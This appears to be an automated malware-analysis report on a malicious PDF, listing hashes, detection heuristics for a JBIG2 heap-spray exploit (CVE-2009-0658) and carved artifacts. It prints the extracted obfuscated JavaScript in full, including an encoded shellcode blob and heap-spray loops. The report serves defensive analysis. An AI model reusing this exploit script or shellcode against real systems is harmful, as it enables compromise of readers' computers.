Malicious PDF — malware analysis report

Static analysis result for SHA-256 0a24665273257262…

MALICIOUS

PDF

6.2 KB First seen: 2013-06-03
MD5: 9cd72f62cc952d97beface0473e90135 SHA-1: 1c2d441762b298791bcd9933ff509fdfd7071a52 SHA-256: 0a24665273257262f73ff393f3c2e82f5face0817109688bef249d6bef83784f
466 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

This PDF file contains obfuscated JavaScript, identified by multiple heuristics including PDF_OBFUSCATED_NAME_OBJECT and PDF_UNESCAPE. The JavaScript is designed to perform a heap spray, a common technique used to exploit vulnerabilities like CVE-2009-0658, which is also detected. The embedded JavaScript stream, when decoded, likely attempts to download and execute a secondary payload, as indicated by the extracted shellcode artifact.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 9

  • Adobe Reader JBIG2Decode generic heap-spray exploit critical CVE likely CVE_2009_0658_GENERIC_SPRAY
    PDF combines JBIG2Decode image streams with JavaScript heap-spray or decoder scaffolding. This is likely CVE-2009-0658-family Adobe Reader JBIG2 exploitation, but it lacks the stricter Reader-9 version gate or decoded page-word shellcode fingerprint required by the exact rule.
  • JBIG2 + active content high CVE related PDF_JBIG2_ACTIVE_CONTENT
    JBIG2Decode appears with JavaScript/XFA/RichMedia — a related indicator for JBIG2 parser-exploit families including CVE-2021-30860 and CVE-2009-0658, but not a unique CVE fingerprint.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      var SBBAie = "";
  var GJzdDBvZGgsFLVuUjxoFOMYUiBtTdyrOLO = unescape("%u47d6%u9741%u4a37%u43fc%u9937%u999f%u4047%u904e%u4992%u273f%u414b%ufc92%ufd48%u992f%u4e3f%u923f%u984e%u414f%u9340%u432f%u464b%u9198%u47fd%u4e4e%u9841%u904e%uf89b%u9141%u4fd6%u433f%ud637%u9f92%uf8fc%uf947%u9647%ud649%uf549%u4993%u4099%u4afc%u4e9b%u4391%uf843%u9699%u41fd%u9242%ud6d6%uf546%u4bfd%u4e93%uf992%u9f27%ufdd6%u9193%ud647%u484e%u3f48%u402f%u374b%u9941%u3f90%u9243%u9943%u4a2f%uf842%u4042%ufd42%u9296%u3f92%u4391%u4041%u46fd%u9b97%u3ffc%uf …
  var muPMhoBxiGMsubvenOwweUUkuiRODAEsFucASAGwU = "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • JBIG2Decode filter medium PDF_JBIG2
    JBIG2 image decoder present — historically used in zero-click exploits
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x21E 4976 bytes
SHA-256: 7948d0c9dd10f39954f17f0d758eea25d63ab4d70dadb86aabc6af8b2808b5be
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 13 of 19 identifiers look randomly generated (e.g. 'MHBIPDlGYtEiCLykDJJocDCfBkLOANtTcxCoHCtN') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var CFhPBFKylTBfBNFTdavsOlqhYGsiKPwc = "";
		var SBBAie = "";
		var GJzdDBvZGgsFLVuUjxoFOMYUiBtTdyrOLO = unescape("%u47d6%u9741%u4a37%u43fc%u9937%u999f%u4047%u904e%u4992%u273f%u414b%ufc92%ufd48%u992f%u4e3f%u923f%u984e%u414f%u9340%u432f%u464b%u9198%u47fd%u4e4e%u9841%u904e%uf89b%u9141%u4fd6%u433f%ud637%u9f92%uf8fc%uf947%u9647%ud649%uf549%u4993%u4099%u4afc%u4e9b%u4391%uf843%u9699%u41fd%u9242%ud6d6%uf546%u4bfd%u4e93%uf992%u9f27%ufdd6%u9193%ud647%u484e%u3f48%u402f%u374b%u9941%u3f90%u9243%u9943%u4a2f%uf842%u4042%ufd42%u9296%u3f92%u4391%u4041%u46fd%u9b97%u3ffc%uf546%u922f%u932f%u4a49%ud696%u9899%u4843%u42fc%u42f9%uf84a%ufcfc%u4af5%uf546%u43f9%ud62f%u40f9%u9340%u9bfd%u9347%u90d6%u9996%u414a%u9940%ufc91%u9337%u9f92%u3741%u4237%u97d6%u9f48%u2793%uf8f8%uf84e%u9f43%u3798%u9646%u9b40%u4993%u46f8%u9291%u404a%u9147%ufcf9%u4a4e%ufc43%u3ff8%u974e%u4737%u274a%u9097%u4943%uf596%u42f8%u9298%u473f%u4bd6%u4a4b%ufdf9%u4afd%ufc90%ufd4e%ufd2f%u9bfd%u9740%u463f%ufd41%ufd4e%u40f8%u4992%u4f49%u4248%u9940%ud6f9%u2f98%u3797%uf592%u414a%u9f37%u4a9f%u4141%u49d6%u4796%u4992%u42d6%uf547%ufc96%ud64a%u4027%u4137%ufd4b%uf996%u93f5%u93f9%u46fc%u43fd%u4b98%u4b27%u419f%u4b91%u9992%u92d6%uf5f8%u9646%u4697%u433f%u9b4b%u49fd%u4e47%u912f%u4046%u994b%u274f%u9997%u2f42%u97fd%u424b%u494a%uf947%u3799%u9796%ufc99%u4b37%u9ffc%u4bf9%u414a%u9b4b%u4bf5%ud691%u4ed6%ufd48%u91d6%ufcf9%u4ef9%u4b42%u2796%u4190%ufdf5%u42fc%u9947%u4e37%u9249%ufc27%u4b4b%u4027%ufd93%ufd48%u9890%ufcf8%ud69b%u9196%u4791%u969f%u37fc%u374b%u934e%uf593%u9646%u903f%u4b91%uf52f%u4991%u4141%u404f%u2f46%u4742%u9041%u462f%u914a%u4841%u274b%u9047%uf599%u4091%u4996%ufd46%u964b%u9bf9%u4946%u4040%uf92f%uf596%u4997%u994f%u9148%u4391%u90f8%u4ad6%ud6f5%u43f8%u939f%u4a93%uf547%u3743%u9b43%u9827%u9299%ufd3f%u90fd%u96f9%u9843%u2741%u974b%u4246%u4a27%u4646%u47d6%u3740%uf8f8%u4a93%u4a43%u9940%u9198%u46f8%u9840%u4937%u4792%u4bfc%ufd96%ud696%u4991%u989b%u3f9b%u464f%u37f5%u474a%uf89f%u9190%u9799%ufdf8%u4743%u9b96%uf9fc%uf84b%u4940%u42f9%uf83f%u9391%u924a%u9f98%u4890%u4690%u2f40%u2f4b%uf991%uf5f5%uf9f5%u9141%u9f9f%u2f4a%u9f92%u912f%ufcfd%u9696%u99fc%u9142%u9697%u4a47%u4a9f%ufcfc%u4a47%u939b%u4e91%uf89b%u9b91%u9848%uf542%u4ef9%uf54b%u9327%u404a%u4bd6%u404a%u4249%u3796%u489f%u379f%u473f%uda42%ud9de%u2474%ub8f4%u02ca%u718b%u335e%ub1c9%u314a%u1946%uee83%u03fc%u1546%uf728%u9977%uf825%u5a87%u7055%u6b62%ue647%udee6%u6c57%ud2aa%u201c%u605f%ued50%uc150%ucbde%ud25f%ud3ef%u100c%ua86e%u454e%u9150%u9880%ud691%u53fd%u8fc3%uc68a%ua4f3%udacf%u6af2%u6244%u0f8c%u179b%u1126%u88cc%u593d%ua3f4%u7a19%u6705%u467a%u0c4c%u3c48%uc44f%ubd81%u2861%u804d%ua54d%uc48c%u566a%u3efb%ueb89%u84fb%u37f3%u188e%ub353%uf928%u1065%u8aae%udd6a%ud5a5%ue06e%u6e6a%u698a%ua18d%u291a%u65a9%ue946%u3cd0%u5c22%u5fed%u018a%u2b4b%u5539%u76ed%u9a56%u88c3%ub4a6%ufa54%u1b94%u94ce%ud494%u63c8%uceda%ufcac%uf125%ud5cc%ua5e1%u4d9c%uc5c3%u8e77%u13ec%uded7%ucc42%u8e97%ubc22%uc57f%ue3ac%ue69f%u8c66%u1337%ub26a%u4bd9%ub56e%u8ae5%u53e7%u9c8f%ucca1%u0427%u87e8%uc9d6%ue226%u42d8%udcdb%ucc18%u5850%u979a%u0387%u11da%uaaa7%u5b53%ud82a%u0ebc%u742a%u9946%ue07d%ufc44%uaf4a%u2bb7%u66c1%u942d%u86be%u14a1%ud13f%u14ab%u8557%u468f%uca42%ufb1a%u5fdf%uaaa4%uc88c%u50cc%u3fea%uaa53%uc1d9%u7da8%u4424%u0bd8%u8444");
		var muPMhoBxiGMsubvenOwweUUkuiRODAEsFucASAGwU = "";

		for (Qn=128;Qn>=0;--Qn) muPMhoBxiGMsubvenOwweUUkuiRODAEsFucASAGwU += unescape("%u43f8%u419f");
		fhVdNRqmFQeaalLwYnEnTB = muPMhoBxiGMsubvenOwweUUkuiRODAEsFucASAGwU + GJzdDBvZGgsFLVuUjxoFOMYUiBtTdyrOLO;
		RobmslptPfwoC = unescape("%u43f8%u419f");
		wyhzxBPmaNztfNcmiQMAgXaHGaXRVaZLqrYrLGEjFAn = 20;
		IGyhfxtqdRKLqt = wyhzxBPmaNztfNcmiQMAgXaHGaXRVaZLqrYrLGEjFAn+fhVdNRqmFQeaalLwYnEnTB.length
		while (RobmslptPfwoC.length<IGyhfxtqdRKLqt) RobmslptPfwoC+=RobmslptPfwoC;
		RuabUpBvGzafkgqQCxRnSpoKTelhrV = RobmslptPfwoC.substring(0, IGyhfxtqdRKLqt);
		GuarDpLpsNZKwzcbN = RobmslptPfwoC.substring(0, RobmslptPfwoC.length-IGyhfxtqdRKLqt);
		while(GuarDpLpsNZKwzcbN.length+IGyhfxtqdRKLqt < 0x40000) GuarDpLpsNZKwzcbN = GuarDpLpsNZKwzcbN+GuarDpLpsNZKwzcbN+RuabUpBvGzafkgqQCxRnSpoKTelhrV;
		MHBIPDlGYtEiCLykDJJocDCfBkLOANtTcxCoHCtNERDB = new Array();
		for (Qn=0;Qn<100;Qn++) MHBIPDlGYtEiCLykDJJocDCfBkLOANtTcxCoHCtNERDB[Qn] = GuarDpLpsNZKwzcbN + fhVdNRqmFQeaalLwYnEnTB;

		for (Qn=142;Qn>=0;--Qn) SBBAie += unescape("%ub550%u0166");
		yiAMMYmtLvOZCRBcrWbDbcBna = SBBAie.length + 20
		while (SBBAie.length < yiAMMYmtLvOZCRBcrWbDbcBna) SBBAie += SBBAie;
		GeDNbILfVHbeZkPNfsBNDOjrRgRikScrDkMNI = SBBAie.substring(0, yiAMMYmtLvOZCRBcrWbDbcBna);
		oCRKsRHRRNLvDlZzaxfeImfSfwtkMW = SBBAie.substring(0, SBBAie.length-yiAMMYmtLvOZCRBcrWbDbcBna);
		while(oCRKsRHRRNLvDlZzaxfeImfSfwtkMW.length+yiAMMYmtLvOZCRBcrWbDbcBna < 0x40000) oCRKsRHRRNLvDlZzaxfeImfSfwtkMW = oCRKsRHRRNLvDlZzaxfeImfSfwtkMW+oCRKsRHRRNLvDlZzaxfeImfSfwtkMW+GeDNbILfVHbeZkPNfsBNDOjrRgRikScrDkMNI;
		mRMxXJXTgvouYLwNDufxeWqDKHQdLuTDOASDjoGQVxq = new Array();
		for (Qn=0;Qn<175;Qn++) mRMxXJXTgvouYLwNDufxeWqDKHQdLuTDOASDjoGQVxq[Qn] = oCRKsRHRRNLvDlZzaxfeImfSfwtkMW + SBBAie;
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x21E 1024 bytes
SHA-256: fc9739015f69119a3e93c6f0b962be38f8881a1339d8aa02303d6f881474de38
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.